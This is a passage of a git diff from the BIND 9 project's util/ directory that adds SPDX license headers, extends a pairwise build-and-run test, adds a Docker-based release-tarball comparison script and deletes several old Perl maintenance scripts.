-	} elsif ($base =~ /\.(c|h|css)$/) {
-	    $file_types{$_} = "C";
-	} elsif ($base =~ /\.y$/) {
-	    $file_types{$_} = "YACC";
-	} elsif ($base =~ /\.pl$/i) {
-	    $file_types{$_} = "PERL";
-	} elsif ($base =~ /\.py$/i) {
-	    $file_types{$_} = "PYTHON";
-	    if (open(PYTHON, $_)) {
-	      my $line = <PYTHON>;
-	      $file_types{$_} = "PYTHON-BIN" if ($line && $line =~ /^#!/);
-	      close(PYTHON);
-	    }
-	} elsif ($base =~ /\.sh$/) {
-	    $file_types{$_} = "SH";
-	} elsif ($base =~ /\.docbook$/ ||
-		 $base =~ /\.xsl$/ ||
-		 $base =~ /\.xml$/) {
-	    $file_types{$_} = "SGML";
-	} elsif ($base =~ /\.rst$/ ||
-		 $base =~ /\.inc$/) {
-	    $file_types{$_} = "RST";
-	} elsif ($base =~ /doc\/arm\/.*\.html$/) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\.(sty|pdf|eps)$/) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\.html$/) {
-	    $file_types{$_} = "HTML";
-	    $base =~ s/\.html$//;
-	    $base = $base . ".docbook";
-	} elsif ($base =~ /\.(man|[0-9])$/) {
-	    $file_types{$_} = "MAN";
-	    $base =~ s/\.[0-9]$//;
-	    $base = $base . ".docbook";
-	} elsif ($base =~ /\/Makefile$/) {
-	    $file_types{$_} = "MAKE";
-	} elsif ($base =~ /\/resolv.?\.conf$/) {
-	    $file_types{$_} = "CONF-SH";
-	} elsif ($base =~ /\.md$/) {
-	    $file_types{$_} = "MKD";
-	} elsif ($base =~ /(\/\.(gitignore|gitattributes)|\.(gif|jpg))$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\.(def|dep|dsp|dsw|mak|sln)$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\.(vcxproj(|\.(user|filters)))$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\.rnc$/i) {
-	    $file_types{$_} = "RNC";
-	} elsif ($base =~ /^\.\/EXCLUDED$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\.bat$/i) {
-	    $file_types{$_} = "BAT";
-	} elsif ($base =~ /\.(key|private)$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\/named\d{0,2}\.args$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\/named\.port$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\/named\.dropedns$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\/named\.notcp$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\/doc\/misc\/[-a-z]*\.zoneopt$/i) {
-	    $file_types{$_} = "X";
-	} elsif ($base =~ /\/README$/i) {
-	    $file_types{$_} = "TXT.BRIEF";
-	} else {
-	    $file_types{$_} = "?";
-	}
-	if (($file_types{$_} eq "MAN" || $file_types{$_} eq "HTML") &&
-	    $base =~ /\.docbook$/ && -e $base) {
-	   $file_years{$_} = "DOCBOOK";
-	} else {
-	    $file_years{$_} = "$year";
-	}
-    } else {
-	if (! defined($file_years{$_}) || $file_years{$_} eq "????") {
-	    print "$_: must set copyright year(s) manually\n";
-	    $file_years{$_} = "????";
-	    next;
-	}
-
-	# track the modification years even if we are not going to be
-	# updating the copyrights.
-	# next if $file_types{$_} eq "X";
-	next if ($file_years{$_} =~ /^PARENT:/);
-	next if ($file_years{$_} eq "DOCBOOK");
-
-	my @years = split(/,/, $file_years{$_});
-	my $has_current = 0;
-	foreach my $fyear (@years) {
-	    if ($fyear == $year) {
-		$has_current = 1;
-	    }
-	}
-	if (!$has_current) {
-	    $file_years{$_} .= ",$year";
-	}
-    }
-}
-close(CHANGES);
-
-open(NEWCOPYRIGHTS, ">util/newcopyrights") ||
-    die "can't open newcopyrights: $!";
-foreach my $file (sort(keys(%file_types))) {
-    print NEWCOPYRIGHTS "$file";
-    my $len = length($file);
-    my $tabs = 0;
-    if ($len >= 48) {
-	$tabs = 1;
-    } else {
-	my $needed = int (48 - $len);
-	$tabs = int ($needed / 8);
-	if ($needed % 8 != 0) {
-	    $tabs++;
-	}
-    }
-    for (my $i = 0; $i < $tabs; $i++) {
-	printf NEWCOPYRIGHTS "\t";
-    }
-    printf NEWCOPYRIGHTS "%s\t%s\n", $file_types{$file}, $file_years{$file};
-
-    if (($file_years{$file} eq "????") || ($file_types{$file} eq "?")) {
-	print "Unknown file type or year: $file\n";
-    }
-}
-close(NEWCOPYRIGHTS);
diff --git a/util/models.c b/util/models.c
index 7d509f8432..5ae5f1bc2b 100644
--- a/util/models.c
+++ b/util/models.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/util/nanny.pl b/util/nanny.pl
index 49173b41fb..9c37a3cfd3 100644
--- a/util/nanny.pl
+++ b/util/nanny.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/util/new-func b/util/new-func
index 6f326f3876..e2b2865abd 100644
--- a/util/new-func
+++ b/util/new-func
@@ -2,13 +2,15 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-
+#
 # Given two CHANGES files, list [bug] entries present in the
 # first one but not in the second one.
 #
@@ -24,7 +26,7 @@ sub readfile {
 	my ($fn) = @_;
 	my $fh = new FileHandle($fn, "r")
 	    or die "open: $fn: $!";
-	
+
 	my $changes = { };
 
 	my ($changeid, $category);
diff --git a/util/pairwise-testing.sh b/util/pairwise-testing.sh
index 1638ebc060..a6f90db13e 100755
--- a/util/pairwise-testing.sh
+++ b/util/pairwise-testing.sh
@@ -1,9 +1,11 @@
 #!/bin/bash
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,6 +14,38 @@
 set -e
 set -o pipefail
 
+NAMED_CONF="
+options {
+	port 5300;
+	listen-on { 127.0.0.1; };
+	listen-on-v6 { ::1; };
+	lock-file \"named.lock\";
+};
+
+zone \".\" {
+	type primary;
+	file \"zone.db\";
+};
+"
+
+ZONE_CONTENTS="
+\$TTL 300
+@		SOA	localhost. localhost.localhost. 1 30 10 3600000 300
+@		NS	localhost.
+localhost	A	127.0.0.1
+		AAAA	::1
+"
+
+if ! command -v pict >/dev/null 2>&1; then
+	echo "This script requires the 'pict' utility to be present in PATH." >&2
+	exit 1
+fi
+
+if ! command -v timeout >/dev/null 2>&1; then
+	echo "This script requires the 'timeout' utility to be present in PATH." >&2
+	exit 1
+fi
+
 grep -v -F "pairwise: skip" configure.ac | sed -n -E "s|.*# \[pairwise: (.*)\]|\1|p" | \
 	while read -r SWITCH; do
 	echo "${RANDOM}: ${SWITCH}"
@@ -23,9 +57,30 @@ while read -r -a configure_switches; do
 	runid=${RANDOM}
 	mkdir "pairwise-${runid}"
 	cd "pairwise-${runid}"
-	echo "${configure_switches[@]}" | tee "../pairwise-output.${runid}.txt"
+	echo "Configuration:" "${configure_switches[@]}" | tee "../pairwise-output.${runid}.txt"
 	../configure --enable-option-checking=fatal "${configure_switches[@]}" >> "../pairwise-output.${runid}.txt" 2>&1
+	echo "Building..."
 	make "-j${BUILD_PARALLEL_JOBS:-1}" all >> "../pairwise-output.${runid}.txt" 2>&1
+	echo "Running..."
+	echo "${NAMED_CONF}" > named.conf
+	echo "${ZONE_CONTENTS}" > zone.db
+	ret=0
+	timeout --kill-after=5s 5s bin/named/named -c named.conf -g >> "../pairwise-output.${runid}.txt" 2>&1 || ret=$?
+	# "124" is the exit code "timeout" returns when it terminates
+	# the command; in other words, the command-under-test times
+	# out, i.e., was still running and didn't crash.
+	if [ "${ret}" -ne 124 ]; then
+		echo "Unexpected exit code from the 'timeout' utility (${ret})"
+		exit 1
+	fi
+	# "timeout" is unable to report a crash on shutdown via its exit
+	# code.  A named instance that exits cleanly is expected to
+	# clean up its configured lock file, so if it is still around at
+	# this point, something went wrong.
+	if [ -f "named.lock" ]; then
+		echo "named did not clean up its lock file, possible crash on shutdown"
+		exit 1
+	fi
 	cd ..
 	rm -rf "pairwise-${runid}" "pairwise-output.${runid}.txt"
 done < pairwise-commands.txt
diff --git a/util/parse_tsan.py b/util/parse_tsan.py
index 00f9cbba9c..e13e8ec49e 100755
--- a/util/parse_tsan.py
+++ b/util/parse_tsan.py
@@ -2,6 +2,8 @@
 ############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -74,20 +76,20 @@ def reset(self):
 
 S = State()
 
-with open(sys.argv[1], "r", encoding='utf-8') as f:
+with open(sys.argv[1], "r", encoding="utf-8") as f:
     for line in f.readlines():
         if line == "==================\n":
             if not S.inside:
                 S.inside = True
             else:
-                DNAME = sha256(S.last_line.encode('utf-8')).hexdigest()
+                DNAME = sha256(S.last_line.encode("utf-8")).hexdigest()
                 DNAME = os.path.join(OUT, DNAME)
                 if not os.path.isdir(DNAME):
                     os.mkdir(DNAME)
-                FNAME = sha256(S.block.encode('utf-8')).hexdigest() + ".tsan"
+                FNAME = sha256(S.block.encode("utf-8")).hexdigest() + ".txt"
                 FNAME = os.path.join(DNAME, FNAME)
                 if not os.path.isfile(FNAME):
-                    with open(FNAME, "w", encoding='utf-8') as w:
+                    with open(FNAME, "w", encoding="utf-8") as w:
                         w.write(S.block)
                 S.reset()
         else:
@@ -108,13 +110,13 @@ def reset(self):
                     S.p_index += 1
             for k, v in S.mutexes.items():
                 r = re.compile(k)
-                line = r.sub("M%s" % v, line)
+                line = r.sub("M{:04d}".format(v), line)
             for k, v in S.threads.items():
                 r = re.compile(k)
-                line = r.sub("T%s" % v, line)
+                line = r.sub("T{:04d}".format(v), line)
             for k, v in S.pointers.items():
                 r = re.compile(k)
-                line = r.sub("0x%s" % str(v).zfill(12), line)
+                line = r.sub("0x{:012d}".format(v), line)
 
             line = STACK.sub("", line)
             line = PID.sub("", line)
diff --git a/util/release-tarball-comparison.sh b/util/release-tarball-comparison.sh
new file mode 100755
index 0000000000..ee006aaf2f
--- /dev/null
+++ b/util/release-tarball-comparison.sh
@@ -0,0 +1,100 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+set -e
+set -o nounset
+
+print_usage_and_exit() {
+	echo
+	echo "Usage: GITLAB_USER=<your_gitlab_username> GITLAB_TOKEN=<your_gitlab_token> ${0} /path/to/bind-9.x.y.tar.xz" >&2
+	exit 1
+}
+
+BIND_TARBALL="${1:-}"
+if [ ! -f "${BIND_TARBALL}" ]; then
+	echo "ERROR: path to BIND 9 tarball either not provided or the file does not exist." >&2
+	print_usage_and_exit
+fi
+
+GITLAB_USER=${GITLAB_USER:-}
+GITLAB_TOKEN=${GITLAB_TOKEN:-}
+if [ -z "${GITLAB_USER}" ] || [ -z "${GITLAB_TOKEN}" ]; then
+	echo "ERROR: GITLAB_USER and GITLAB_TOKEN environmental variables are not set." >&2
+	print_usage_and_exit
+fi
+
+# Create the container to work in.
+CONTAINER_ID=$(docker create --interactive debian:bookworm)
+trap "docker container rm -f \${CONTAINER_ID} >/dev/null" EXIT
+docker start "${CONTAINER_ID}"
+
+run_in_container() {
+	docker exec --workdir /usr/src "${CONTAINER_ID}" /bin/sh -c "$@"
+}
+
+# Pull build requirements.
+run_in_container "apt-get update &&			\
+	apt-get -y install --no-install-recommends	\
+		automake				\
+		ca-certificates				\
+		git					\
+		libcap2-dev				\
+		libjemalloc-dev				\
+		liblmdb-dev				\
+		libmaxminddb-dev			\
+		libnghttp2-dev				\
+		libssl-dev				\
+		libtool					\
+		liburcu-dev				\
+		libuv1-dev				\
+		make					\
+		pkg-config				\
+		pkgdiff					\
+		xz-utils				\
+"
+
+# Retrieve the release-ready BIND 9 tarball.
+docker cp "${BIND_TARBALL}" "${CONTAINER_ID}:/usr/src"
+
+BIND_VERSION=$(basename "${BIND_TARBALL}" | sed -E "s|bind-(.*)\.tar\.xz|\1|")
+BIND_DIRECTORY="bind-${BIND_VERSION}"
+
+# Prepare a temporary "release" tarball from upstream BIND 9 project.
+run_in_container "git -c advice.detachedHead=false clone --branch v${BIND_VERSION} --depth 1 https://${GITLAB_USER}:${GITLAB_TOKEN}@gitlab.isc.org/isc-private/bind9.git && \
+	cd bind9 && \
+	apt-get -y install --no-install-recommends python3-pip && \
+	rm -f /usr/lib/python3.*/EXTERNALLY-MANAGED && \
+	pip3 install -r doc/arm/requirements.txt && \
+	if [ $(echo "${BIND_VERSION}" | cut -b 1-5) = 9.16. ]; then \
+		git archive --prefix=${BIND_DIRECTORY}/ --output=${BIND_DIRECTORY}.tar HEAD && \
+		mkdir ${BIND_DIRECTORY} && \
+		echo SRCID=\$(git rev-list --max-count=1 HEAD | cut -b1-7) > ${BIND_DIRECTORY}/srcid && \
+		tar --append --file=${BIND_DIRECTORY}.tar ${BIND_DIRECTORY}/srcid && \
+		sphinx-build -b man -d ${BIND_DIRECTORY}/tmp/.doctrees/ -W -a -v -c doc/man/ -D version=@BIND9_VERSION@ -D today=@RELEASE_DATE@ -D release=@BIND9_VERSIONSTRING@ doc/man ${BIND_DIRECTORY}/doc/man && \
+		rm -rf ${BIND_DIRECTORY}/tmp/.doctrees/ && \
+		for man in ${BIND_DIRECTORY}/doc/man/*; do mv \${man} \${man}in; done && \
+		tar --append --file=${BIND_DIRECTORY}.tar ${BIND_DIRECTORY}/doc/man/*in && \
+		xz ${BIND_DIRECTORY}.tar; \
+	else \
+		autoreconf -fi && \
+		./configure --enable-umbrella && \
+		make -j && \
+		make dist; \
+	fi"
+
+# Compare release-ready and custom tarballs; they are expected to be the same.
+run_in_container "pkgdiff bind9/bind-${BIND_VERSION}.tar.xz bind-${BIND_VERSION}.tar.xz" || true
+
+# Copy the pkgdiff report out of the container for inspection.
+docker cp "${CONTAINER_ID}:/usr/src/pkgdiff_reports/bind/" "pkgdiff_bind_${BIND_VERSION}_report"
+echo "pkgdiff report ready for inspection in 'pkgdiff_bind_${BIND_VERSION}_report'."
diff --git a/util/run-clang-tidy b/util/run-clang-tidy
index cd0c2cc47a..e5f25203b4 100755
--- a/util/run-clang-tidy
+++ b/util/run-clang-tidy
@@ -2,9 +2,13 @@
 #
 #===- run-clang-tidy.py - Parallel clang-tidy runner ---------*- python -*--===#
 #
+# Copyright (C) Manuel Klimek <klimek@google.com>
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
+#
 # Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
 # See https://llvm.org/LICENSE.txt for license information.
-# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
 #
 #===------------------------------------------------------------------------===#
 # FIXME: Integrate with clang-tidy-diff.py
diff --git a/util/spacewhack.pl b/util/spacewhack.pl
deleted file mode 100644
index a9e70e4a37..0000000000
--- a/util/spacewhack.pl
+++ /dev/null
@@ -1,64 +0,0 @@
-#!/usr/local/bin/perl -w
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-$0 =~ s%.*/%%;
-
-if (@ARGV != 0) {
-	warn "Usage: $0 < list-of-files\n";
-	warn "The util/copyrights file is normally used for list-of-files.\n";
-	exit(1);
-}
-
-$total = 0;
-
-printf "Lines Trimmed:\n";
-
-while (defined($line = <STDIN>)) {
-	($file) = split(/\s+/, $line, 2);
-
-        # These are binary and must be ignored.
-        next if $file =~ m%/random.data|\.gif$%;
-        next if -B $file;
-
-        print "$file\n";
-
-	unless (open(FILEIN, "< $file")) {
-		warn "$0: open < $file: $!, skipping\n";
-		next;
-	}
-        
-	undef $/;		# Slurp whole file.
-	$_ = <FILEIN>;
-	$/ = "\n";		# Back to line-at-a-time for <FILES>.
-
-        close(FILEIN);
-
-	$count = s/[ \t]+$//mg;
-
-	next unless $count > 0;
-
-	unless (open(FILEOUT, "> $file")) {
-		warn "$0: open > $file: $!, skipping\n";
-		next;
-	}
-
-	print FILEOUT or die "$0: printing to $file: $!, exiting\n";
-        close FILEOUT or die "$0: closing $file: $!, exiting\n";
-
-	printf("%6d lines trimmed in $file\n", $count) if $count > 0;
-
-	$total += $count;
-}
-
-printf "%6d TOTAL\n", $total;
-
-exit(0);
-
diff --git a/util/suppressions.txt b/util/suppressions.txt
deleted file mode 100644
index 27aa9b6e3a..0000000000
--- a/util/suppressions.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-unmatchedSuppression:*
-preprocessorErrorDirective:*
-unknownMacro:*
-nullPointerRedundantCheck:*
diff --git a/util/tabify-changes b/util/tabify-changes
index 781104dd60..2f2fce3be5 100644
--- a/util/tabify-changes
+++ b/util/tabify-changes
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/util/unused-headers.sh b/util/unused-headers.sh
index c4c12140b0..d4e3e50c71 100755
--- a/util/unused-headers.sh
+++ b/util/unused-headers.sh
@@ -1,9 +1,11 @@
 #!/bin/bash
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/util/update-drafts.pl b/util/update-drafts.pl
deleted file mode 100644
index 5fd22e0e28..0000000000
--- a/util/update-drafts.pl
+++ /dev/null
@@ -1,35 +0,0 @@
-#!/usr/local/bin/perl -w
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-#
-# Replace internet drafts with updated versions, if any.
-#
-# Usage:
-#
-#   cd doc/draft
-#   perl ../../util/update-drafts.pl *.txt
-#   (ignore "404 Not Found" errors from FTP)
-#   cvs commit -m"updated drafts"
-#
-
-foreach (@ARGV) {
-    $ofile = $_;
-    if (/^(.*-)([0-9][0-9])(\.txt)/) {
-	    $nfile = "$1" . sprintf("%02d", $2 + 1) . "$3";
-	    print $nfile, "\n";
-	    system "ftp http://www.ietf.org/internet-drafts/$nfile";
-	    if ($? == 0) {
-		unlink($ofile);
-		system "cvs remove $ofile";
-		system "cvs add $nfile";
-	    }
-    }
-}
diff --git a/util/update_branches b/util/update_branches
deleted file mode 100644
index 5a3c5e0b8b..0000000000
--- a/util/update_branches
+++ /dev/null
@@ -1,218 +0,0 @@
-#!/usr/local/bin/perl -w
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-#
-#  Track which branches are still open or not in the bind9 cvs repository.
-#  This is done so that work that is "in progress" (active) doesn't get
-#  so easily forgotten about.
-#
-#  This script updates doc/private/branches by adding new branches and moving
-#  closed branches to the end of the file.  New branches are found by walking
-#  the cvs repository and extracting the new branches from the header fields
-#  of the files there.
-#
-#  doc/private/branches has one line per branch in the following field order:
-#  name, status, to whom the branch belongs and comments.  Comments are
-#  in '(',')'.  The first three field are single words.
-#
-#  Note: this is intended to be run on the machine hosting the CVS repository.
-#
-
-%branches = ();
-%whom = ();
-%comments = ();
-%history = ();
-%dates = ();
-$repository = "/proj/cvs/prod";
-$module = "bind9";
-
-#
-# Make sure we have a up to date copy.  If the previous ran failed for
-# any reason remove it (-C).
-#
-!system("cvs", "-d", $repository, "update", "-C", "doc/private/branches") || die "cannot update doc/private/branches: $!";
-
-#
-# load existing content
-#
-open(BRANCHES, "<doc/private/branches") || die "can't open util/branches: $!";
-while (<BRANCHES>) {
-	my $branch;
-	my $status;
-	my $who;
-	chomp;
-	next if (/^-/);
-	next if (/^Branch/);
-	next if (/^\s/);
-	$c = "";
-	if (m://.*:) {
-		$c = $_;
-		$c =~ s:.*?//\s*(.*)$:$1:;
-		s:(.*?)//.*:$1:;
-	} else {
-		#
-		# look for old style comment
-		#
-		if (m/\(.*\)/) {
-			$c = $_;
-			$c =~ s/.*\((.*)\).*$/$1/;
-			s/\(.*\)//;
-		}
-	}
-	s/\s*$//;
-	next if (/^\s*$/);
-	($branch, $status, $who) = split;
-	$status = "new" if (!defined($status));
-	$branches{$branch} = $status;
-	$who = "" if (!defined($who));
-	$whom{$branch} = $who;
-	$comments{$branch} = $c;
-}
-close (BRANCHES);
-
-# T 1999-03-15 21:15 +0000 vixie bind [ietf44:A]
-open(HISTORY, "cvs history -T -a 2> /dev/null |") || die("can't get history");
-while (<HISTORY>) {
-	my $tag;
-	my $date;
-	my $time;
-	my $tz;
-	my $who;
-	my $mod;
-	my $branch;
-        chomp;
-        s/[][]//g;
-        s/:[^ \t]+$//;
-	s/\s+/ /g;
-	($tag, $date, $time, $tz, $who, $mod, $branch) = split;
-	next if ($mod ne $module );
-	next if ($tag ne "T" );
-	next if (exists($history{$branch}));
-	$history{$branch} = $who;
-	$dates{$branch} = "$date $time $tz";
-        # print "$_\n";
-}
-close (HISTORY);
-
-#
-# Search repository for new branches.
-#
-# New branches have the following format "name:<revision>.0.#"
-# where # is the number of potential branches from this the revision.
-#
-open(FILES, "find $repository/$module -type f -name *,v -print |") || die "can't start find: $!";
-while (<FILES>) {
-	chomp;
-	# print "file: $_\n"; # debug
-	# $file = $_; # save for branch debug below.
-	s:^$repository/::;
-	s:/Attic/([^/]*)$:/$1:;
-	s:,v$::;
-	#
-	# use cvs so that the file is locked.
-	#
-	#print "cvs -d $repository rlog -h $_\n";
-	open(FILE, "cvs -d $repository rlog -h $_|") || die "can't start cvs rlog -h $_: $!";
-	while (<FILE>) {
-		chomp;
-		next unless m/^symbolic names:$/; # skip until we find the tags
-		while (<FILE>) {
-			chomp;
-			last if (m/^locks;/);	# we are past the tags
-			last if (m/^keyword/);	# we are past the tags
-			next unless m/\.0\.\d+$/; # skip if not a branch
-			s/\s(.*):.*/$1/;	# extract label
-			if (!$branches{$_}) {
-				$branches{$_} = "new";
-				if (exists($history{$_})) {
-					$whom{$_} = $history{$_};
-					$comments{$_} = $dates{$_};
-				} else {
-					$whom{$_} =  "";
-					$comments{$_} =  "";
-				}
-				# print "branch: $_ $file\n"; # debug
-			}
-		}
-		chomp while (<FILE>);	# let cvs rlog exit normally.
-	}
-	close(FILE);
-}
-close(FILES);
-
-#
-# Write out updated version.
-#
-open(BRANCHES, ">doc/private/newbranches") || die "can't open doc/private/branches: $!";
-print BRANCHES "\nBranch\t\t\t\tStatus\tWhom\t// Comments\n";
-print BRANCHES "-----------------------------------------------------------\n\n";
-print BRANCHES "\t\t\t\tnew\t\tnot yet classified\n";
-print BRANCHES "\t\t\t\topen\t\tdevelopement branch\n";
-print BRANCHES "\t\t\t\tactive\t\tnot a development branch\n";
-print BRANCHES "\t\t\t\treview\t\tready for review\n";
-print BRANCHES "\t\t\t\tprivate\t\tprivate branch\n";
-print BRANCHES "\t\t\t\tclosed\t\tfinished with\n";
-print BRANCHES "\n";
-foreach $key (sort keys %branches) {
-	next if ($branches{$key} eq "closed");
-	print BRANCHES "$key";
-	$len = length($key);
-	if ($len >= 32) {
-		$tabs = 1;
-	} else {
-		$needed = int (32 - $len);
-		$tabs = int ($needed / 8);
-		if ($needed % 8 != 0) {
-			$tabs++;
-		}
-	}
-	for ($i = 0; $i < $tabs; $i++) {
-		printf	BRANCHES "\t";
-	}
-	print BRANCHES "$branches{$key}\t";
-	print BRANCHES "$whom{$key}";
-	print BRANCHES "\t// $comments{$key}" if ($comments{$key} ne "");
-	print BRANCHES "\n";
-}
-
-print BRANCHES "\n\n";
-
-foreach $key (sort keys %branches) {
-	next if ($branches{$key} ne "closed");
-	print BRANCHES "$key";
-	$len = length($key);
-	if ($len >= 32) {
-		$tabs = 1;
-	} else {
-		$needed = int (32 - $len);
-		$tabs = int ($needed / 8);
-		if ($needed % 8 != 0) {
-			$tabs++;
-		}
-	}
-	for ($i = 0; $i < $tabs; $i++) {
-		printf	BRANCHES "\t";
-	}
-	print BRANCHES "$branches{$key}";
-	print BRANCHES "\t\t// $comments{$key}" if ($comments{$key} ne "");
-	print BRANCHES "\n";
-}
-close(BRANCHES);
-
-#
-# Update if changed.
-#
-if (system("cmp", "-s", "doc/private/newbranches", "doc/private/branches")) {
-	rename("doc/private/newbranches", "doc/private/branches") || die "Cannot rename: doc/private/newbranches -> doc/private/branches: $!";
-	!system("cvs", "-d", $repository, "commit", "-m", "auto update", "doc/private/branches") || die "cvs commit failed: $!";
-} else {
-	unlink("doc/private/newbranches");
-}
diff --git a/util/update_copyrights b/util/update_copyrights
deleted file mode 100644
index 0926fb7106..0000000000
--- a/util/update_copyrights
+++ /dev/null
@@ -1,636 +0,0 @@
-#!/usr/local/bin/perl -w
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-require 5.002;
-
-# Map copyright owners to the files containing copyright messages.
-# The first line of the copyright message is not in the file;
-# it is constructed by this script.
-#
-# Usage:
-#
-#   perl util/update_copyrights <util/copyrights
-
-my %owner2filename = (
-	"" => "util/COPYRIGHT",
-        TOP => "util/COPYRIGHT.TOP",
-	"NAI" => "util/COPYRIGHT.NAI",
-	"NOM" => "util/COPYRIGHT.NOM",
-	"BSDI" => "util/COPYRIGHT.BSDI",
-	"BRIEF" => "util/COPYRIGHT.BRIEF",
-	"PORTION" => "util/COPYRIGHT.PORTION",
-);
-
-# Map each copyright owner name to a reference to an array containing
-# the lines of the copyright message.
-
-my %owner2text = ();
-
-my $keyword_pat = '\$(Id:.*|Revision:.*|Id|Revision)\$';
-
-foreach $owner (keys %owner2filename) {
-        my $f = $owner2filename{$owner};
-        open(COPYRIGHT, "<$f") || die "can't open $f: $!";
-        @copyright_text = <COPYRIGHT>;
-        close(COPYRIGHT);
-        $owner2text{$owner} = [ @copyright_text ];
-}
-
-my %file_types = ();
-my %file_years = ();
-my $years_list;
-my $parent;
-
-($dummy,$dummy,$dummy,$dummy,$this_month,$this_year,$dummy,$dummy,$dummy) = localtime(time());
-$this_year += 1900;
-
-while (<>) {
-	chomp;
-	($file, $type, $years) = split(/\s+/);
-	$file_types{$file} = $type;
-	$file_years{$file} = $years;
-}
-
-sub getyears {
-	$parent = $_[0];
-	$parent =~ s/PARENT://;
-	$years_list = $file_years{$parent};
-	if (defined($years_list) && $years_list =~ /^PARENT:/) {
-		print "BAD PARENT:$parent\n";
-		undefine($years_list);
-	}
-}
-
-sub docbook {
-	$parent = $_[0];
-	$parent =~ s/\.[^.]*$/.docbook/;
-	$years_list = $file_years{$parent};
-}
-
-sub copyright {
-	my $holder = shift;
-	my $result = "";
-	return $result unless (@_);
-	$result = "$result    <copyright>\n";
-	$result = "$result      <year>$_</year>\n" foreach (@_);
-	$result = "$result      <holder>$holder</holder>\n";
-	$result = "$result    </copyright>\n";
-	return $result;
-}
-
-sub copyrights {
-	my $a = copyright("Internet Systems Consortium, Inc. (\"ISC\")", @_);
